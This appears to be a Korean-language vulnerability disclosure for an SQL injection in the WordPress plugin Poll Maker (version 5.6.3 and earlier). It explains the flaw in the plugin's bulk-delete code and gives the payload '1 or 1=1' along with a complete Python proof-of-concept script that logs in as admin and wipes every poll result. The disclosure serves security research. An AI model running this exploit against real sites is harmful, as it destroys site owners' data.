Component type
WordPress plugin
Component details
Component name: Poll Maker – Versus Polls, Anonymous Polls, Image Polls
Vulnerable version: ≤ 5.6.3
Component slug: poll-maker
Component link: https://wordpress.org/plugins/poll-maker/
Poll Maker – Versus Polls, Anonymous Polls, Image Polls
Poll Maker is a FREE WordPress poll plugin that will let you create customizable and professional online polls and voting for your WordPress website.
wordpress.org
OWASP 2017: TOP 10
Vulnerability class A3: Injection
Vulnerability type: SQL Injection
Pre-requisite
Administrator
Vulnerability details
👉 Short description
Poll Maker 플러그인은 WordPress에서 설문조사를 생성하고 관리할 수 있도록 설계된 플러그인이다. 웹 사이트 방문자들에게 투표 기능을 제공하고, 이를 통해 데이터를 수집할 수 있는 기능을 제공한다.
👉 How to reproduce (PoC)
1. Poll Maker 플러그인 5.6.3 이하 버전이 활성화된 워드프레스 사이트와 프록시 서버를 준비한다.
2. All Polls 페이지에서 기본적으로 생성되어 있는 투표의 Shortcode를 복사한다. (새로운 투표를 생성하고 생성된 Shortcode를 복사해도 된다.)
3. Shortcode 블록을 추가하여 복사한 Shortcode를 붙여넣고 글을 작성한다.
4. 작성된 글에서 투표를 진행한다.
5. Results 페이지에서 투표의 결과를 확인할 수 있다.
6. Results 페이지에서 콤보박스의 옵션을 Bulk actions에서 Delete로 변경하고 Apply를 클릭한다.
7. 적용을 클릭하고 난 후의 POST 요청 패킷을 인터셉트하고 bulk-action을 아래 페이로드로 변조한다.
1+or+1=1
8. 위 패킷을 Forward하면 투표의 결과가 모두 삭제된다.
👉 Additional information (optional)
해당 취약점은 poll-maker/includes/lists/class-poll-maker-results-list-table.php 파일의 process_bulk_action 함수와 delete_reports 함수에서 발생한다. POST 요청에서 설정되는 bulk-action 파라미터는 esc_sql 함수로 이스케이프가 이루어지는 듯 보여지지만 단순한 이스케이프 처리만 수행하기 때문에 논리 연산자를 이용한 공격은 방어하지 못한다.
// poll-maker/includes/lists/class-poll-maker-results-list-table.php
public function process_bulk_action() {
...
// If the delete bulk action is triggered
if ((isset($_POST['action']) && 'bulk-delete' == $_POST['action'])
|| (isset($_POST['action2']) && 'bulk-delete' == $_POST['action2'])
) {
$delete_ids = esc_sql($_POST['bulk-action']);
// loop over the array of record IDs and delete them
foreach ( $delete_ids as $id ) {
self::delete_reports($id);
}
...
}
따라서, 페이로드에 1 or 1=1 을 삽입할 경우 delete_reports 함수에서 delete 쿼리가 실행되어 wp_ayspoll_reports 테이블에 있는 데이터가 모두 삭제된다.
// poll-maker/includes/lists/class-poll-maker-results-list-table.php
public static function delete_reports( $id ) {
...
$sql = "DELETE r FROM {$wpdb->prefix}ayspoll_reports as r
JOIN {$wpdb->prefix}ayspoll_answers ON {$wpdb->prefix}ayspoll_answers.id = r.answer_id
WHERE {$wpdb->prefix}ayspoll_answers.poll_id = $id";
$res = $wpdb->query($sql);
return $res > 0;
}
👉 Attach files (optional)
투표의 종류와 상관없이 투표의 결과가 삭제된다는 것을 입증하기 위해 기본 투표 외에 Poc라는 이름의 투표를 생성하였다.
⭐ PoC Code
import requests
import sys
import random
import re
import json
# Target WordPress site URL
TARGET = "<http://localhost:8000>"
# Admin account login credentials
ADMIN_ID = "admin"
ADMIN_PW = "1234"
# Proxy server settings for intercepting requests (e.g., Burp Suite)
# Forward all HTTP and HTTPS requests through the proxy server
PROXY_SERVER = "<http://localhost:8080>"
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
# Logs in to the WordPress site as an admin and returns an authenticated session.
def login_as_admin(id, pw):
session = requests.session()
data = {
"log": id,
"pwd": pw,
"wp-submit": "Log In",
"testcookie": 1
}
response = session.post(url=f"{TARGET}/wp-login.php", data=data, proxies=proxies)
login_cookie_prefix = "wordpress_logged_in"
is_logged_in = False
for cookie in response.cookies.keys():
if login_cookie_prefix in cookie:
is_logged_in = True
break
if is_logged_in:
print(f"[+] Successfully logged in with account admin")
return session
print(f"[-] Login Failed")
sys.exit(1)
# Creates a new WordPress post with a default poll shortcode.
def create_post_with_default_poll(session):
response = session.get(f"{TARGET}/wp-admin/post-new.php", proxies=proxies)
nonce_pattern = r'createNonceMiddleware\\( "(.{10})" \\)'
post_id_pattern = r'<input type=\\'hidden\\' id=\\'post_ID\\' name=\\'post_ID\\' value=\\'(\\w+)\\''
nonce_match = re.search(nonce_pattern, response.text)
post_id_match = re.search(post_id_pattern, response.text)
if nonce_match and post_id_match:
wp_nonce = nonce_match.group(1)
post_id = post_id_match.group(1)
print(f"[+] Extracted wp_nonce: {wp_nonce}")
headers = {"X-WP-Nonce": wp_nonce, "Content-Type": "application/json"}
params = {"rest_route": f"/wp/v2/posts/{post_id}", "_locale": "user"}
data = json.dumps({"id": post_id, "status": "publish", "title": "PoC", "content": "<!-- wp:shortcode -->\\n[ays_poll id=1]\\n<!-- /wp:shortcode -->"})
response = session.post(url=f"{TARGET}/index.php", headers=headers, params=params, data=data, proxies=proxies)
if response.status_code == 200:
print(f"[+] Post created successfully. Post ID: {post_id}")
return post_id
print(f"[-] Post creation failed")
sys.exit(1)
# Automates voting on a poll in a WordPress site.
def vote_on_poll(session):
params = {"p": {post_id}}
response = session.get(f"{TARGET}", params=params)
pattern = r'name="ays_finish_poll_show_res_\\d+" value="([^"]+)"'
match = re.search(pattern, response.text)
if match:
ays_finish_poll_show_res = match.group(1)
print(f"[+] Extracted ays_finish_poll_show_res value: {ays_finish_poll_show_res}")
else:
print("[-] ays_finish_poll_show_res Not Found")
sys.exit(1)
responses = []
for i in range(1, 11):
data = {
"answer": random.randint(1, 5),
"ays_finish_poll_show_res_1": ays_finish_poll_show_res,
"wp_http_referer" : f"/?p={post_id}",
"action" : "ays_finish_poll",
"poll_id" : 1,
"end_date" : "2030-01-31 12:00:00"
}
print(f"\\r[+] Sending request {i}/10...", end="", flush=True)
response = session.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data, proxies=proxies)
responses.append(response)
print("\\r[+] Voting process completed! ")
if all(res.status_code == 200 for res in responses):
print("[+] Voting completed successfully. All requests returned 200.")
else:
print("[-] Some requests failed")
for idx, res in enumerate(responses):
if res.status_code != 200:
print(f"[-] Request {idx+1} failed with status {res.status_code}")
sys.exit(1)
# Attempts to exploit a potential SQL Injection vulnerability in WordPress poll results management
def exploit(payload):
params = {"page": "poll-maker-ays-results"}
data = {
"action": "bulk-delete",
"orderbycat": "0",
"paged": "1",
"bulk-action[]": f"{payload}",
"action2": "bulk-delete",
"orderbycat": "0"
}
session.post(f"{TARGET}/wp-admin/admin.php", params=params, data=data, proxies=proxies)
response = session.get(f"{TARGET}/wp-admin/admin.php", params=params, proxies=proxies)
pattern = r"<td[^>]*class=['\"]voted column-voted['\"][^>]*>(\d+)</td>"
match = re.search(pattern, response.text)
if match:
voters_count = match.group(1)
if voters_count == "0":
print(f"[+] SQL Injection was successful. All voting results have been deleted.")
else:
print("[-] SQL Injection failed. Voting results are still intact.")
if __name__ == "__main__":
session = login_as_admin(ADMIN_ID, ADMIN_PW)
post_id = create_post_with_default_poll(session)
vote_on_poll(session)
exploit("1 or 1=1")
Reference
'Report > Zero-Day' 카테고리의 다른 글
CVE-2025-26886 (0) | 2025.03.01 |
---|---|
CVE-2025-22662 (0) | 2025.01.30 |